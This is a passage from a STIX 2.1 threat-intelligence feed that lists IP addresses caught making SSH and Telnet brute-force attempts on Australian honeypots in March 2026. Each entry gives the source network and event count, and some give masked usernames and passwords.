      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--e1c2c19c-dc7c-4872-a9e6-529a5bfedab9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.42.62.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:15:14.000Z",
      "valid_until": "2026-04-17T01:15:12.000Z"
    },
    {
      "created": "2026-03-16T01:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--a714f7da-1f8c-4a98-a4dd-0598df3c0624",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.119.72.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:15:14.000Z",
      "valid_until": "2026-04-17T01:15:12.000Z"
    },
    {
      "created": "2026-03-16T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 282. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): p******s, r**t, a****e, d****y, ***. Passwords observed (masked): ***, ***, p**s, t**t, 1****6.",
      "id": "indicator--77a95fa5-5fe0-468b-95d5-e168af143edf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.106.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:15:14.000Z",
      "valid_until": "2026-04-17T01:15:12.000Z"
    },
    {
      "created": "2026-03-16T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): k****h, 3**********4, ***, **, l***x. Passwords observed (masked): ***, 1**4, 1***5, 3***********4, 3**********4.",
      "id": "indicator--3d8ea1de-4173-466c-a805-1ca2b9caac49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.76.61.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:15:14.000Z",
      "valid_until": "2026-04-17T01:15:12.000Z"
    },
    {
      "created": "2026-03-16T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): s*****e, 3**********4, a***n, g****b, ***. Passwords observed (masked): 1******8, 1**********c, 3***********4, 3**********4, R*********3.",
      "id": "indicator--10999bed-d1c8-400a-a84e-f3110efbcc59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.110.147.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:15:14.000Z",
      "valid_until": "2026-04-17T01:15:12.000Z"
    },
    {
      "created": "2026-03-16T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): m****r. Passwords observed (masked): m********4.",
      "id": "indicator--3f4b1fc5-8740-480d-bbc7-cd1a9d4c6636",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.81.42.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:15:14.000Z",
      "valid_until": "2026-04-17T01:15:12.000Z"
    },
    {
      "created": "2026-03-16T01:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--3c5b82f8-21d2-4978-94dc-1d0a22687a01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.172.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:15:14.000Z",
      "valid_until": "2026-04-17T01:15:12.000Z"
    },
    {
      "created": "2026-03-16T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e7aa016c-f901-44f6-812c-8a1c5671294a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.144.98.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T01:15:14.000Z",
      "valid_until": "2026-04-17T01:15:12.000Z"
    },
    {
      "created": "2026-03-16T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, i****a, j***s, c***l, j***e. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1****6.",
      "id": "indicator--fc7c1118-39be-41bb-b86b-4fec0666f4cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.159.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T02:15:07.000Z",
      "valid_until": "2026-04-17T02:15:05.000Z"
    },
    {
      "created": "2026-03-16T02:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--152307bb-778c-4c40-b931-c5d6db34fea6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.117.111.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T02:15:07.000Z",
      "valid_until": "2026-04-17T02:15:05.000Z"
    },
    {
      "created": "2026-03-16T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9ce9fba7-6532-428b-b559-366a8a74a9b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.175.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T02:15:07.000Z",
      "valid_until": "2026-04-17T02:15:05.000Z"
    },
    {
      "created": "2026-03-16T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***********i.",
      "id": "indicator--4661d10c-0b0c-4145-9387-ab1e431d2a78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.227.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T02:15:07.000Z",
      "valid_until": "2026-04-17T02:15:05.000Z"
    },
    {
      "created": "2026-03-16T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, a***n, p******d, t**r.",
      "id": "indicator--2b51cd90-dab2-4202-a946-63e27009c26e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.31.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T02:15:07.000Z",
      "valid_until": "2026-04-17T02:15:05.000Z"
    },
    {
      "created": "2026-03-16T02:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--9a39d01a-8370-4483-a755-543c429a673e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.212.28.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T02:15:07.000Z",
      "valid_until": "2026-04-17T02:15:05.000Z"
    },
    {
      "created": "2026-03-16T02:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T02:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T02:15:07.000Z",
      "valid_until": "2026-04-17T02:15:05.000Z"
    },
    {
      "created": "2026-03-16T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, j*****s, d****r, e******r, u****u. Passwords observed (masked): P******d, !***t, 1******x, 1******X, A********!.",
      "id": "indicator--742b9bb2-1d45-4a5d-952f-9352d8f3e4be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.65.118.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:15:07.000Z",
      "valid_until": "2026-04-17T03:15:05.000Z"
    },
    {
      "created": "2026-03-16T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a3b14bbe-5af8-4905-aa26-e6e7e9bbee00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.232.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:15:07.000Z",
      "valid_until": "2026-04-17T03:15:05.000Z"
    },
    {
      "created": "2026-03-16T03:15:07.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--24788ee2-bbd4-4f54-826b-9882cacf540b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.144.44.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:15:07.000Z",
      "valid_until": "2026-04-17T03:15:05.000Z"
    },
    {
      "created": "2026-03-16T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 22. Source country: MD. ASN(s): 207164. Organisation(s): Primanet Srl. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--ad019826-b383-430a-9acd-9f2b61fb2445",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.15.226.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:15:07.000Z",
      "valid_until": "2026-04-17T03:15:05.000Z"
    },
    {
      "created": "2026-03-16T03:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 208531. Organisation(s): HARNET LLC. Usernames observed (masked): ***. Passwords observed (masked): I***********************X.",
      "id": "indicator--29d485d1-318b-42f7-8799-327d0b2e21da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T03:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.172.74.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:15:07.000Z",
      "valid_until": "2026-04-17T03:15:05.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 135076. Organisation(s): INFOCOM LIMITED.",
      "id": "indicator--c4bffeaa-8a8d-4c8b-83da-cbb72ba42b4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.208.181.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 9123. Organisation(s): Jsc timeweb. Usernames observed (masked): r**t. Passwords observed (masked): D**e, D*******8, G******6.",
      "id": "indicator--de2155ff-7ccd-47e8-9ff5-6de6b2c75e56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.196.100.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9981. Organisation(s): Saero Network Service LTD.",
      "id": "indicator--f5c8a090-d1ba-4579-8a91-a0463f620c10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.20.223.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--09386008-49cd-4184-9d56-9688e2515e10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.152.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***e, r**t. Passwords observed (masked): a***e, a***********i.",
      "id": "indicator--05256e23-b3b0-4ea2-a8a4-929575d655c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.0.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1181. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t**t, u****u, m*******t, o****e. Passwords observed (masked): 1****6, ***, *, p******d, 1**4.",
      "id": "indicator--6e947057-eaa0-46d9-aa75-b96b1d6bfa20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.187.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--846948f5-2a95-4ce9-9419-1277f193ddde",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.90.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--d81fafcd-7595-445a-8740-0a6982e73ba0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.215.104.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56041. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): M****1.",
      "id": "indicator--ea8b62bc-d851-45e0-8dde-cfd4f1d35188",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.170.9.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a02bb7e4-a3a5-4d9b-9623-7b00e2876bb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.53.126.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T04:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--109d923f-839d-45a3-bfa1-b15877d5ce64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T04:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.36.210.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:15:16.000Z",
      "valid_until": "2026-04-17T04:15:12.000Z"
    },
    {
      "created": "2026-03-16T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T05:15:13.000Z",
      "valid_until": "2026-04-17T05:15:12.000Z"
    },
    {
      "created": "2026-03-16T05:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e0135839-5b19-4f71-b73e-07ada430f438",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.239.19.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T05:15:13.000Z",
      "valid_until": "2026-04-17T05:15:12.000Z"
    },
    {
      "created": "2026-03-16T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e411e6d3-f402-425f-9888-3fbfca5097eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T05:15:13.000Z",
      "valid_until": "2026-04-17T05:15:12.000Z"
    },
    {
      "created": "2026-03-16T05:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--397b6677-e44c-4fce-b026-40665e61504e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-16T05:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.106.188.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T05:15:13.000Z",
      "valid_until": "2026-04-17T05:15:12.000Z"
    },
    {
      "created": "2026-03-16T05:15:13.000Z",
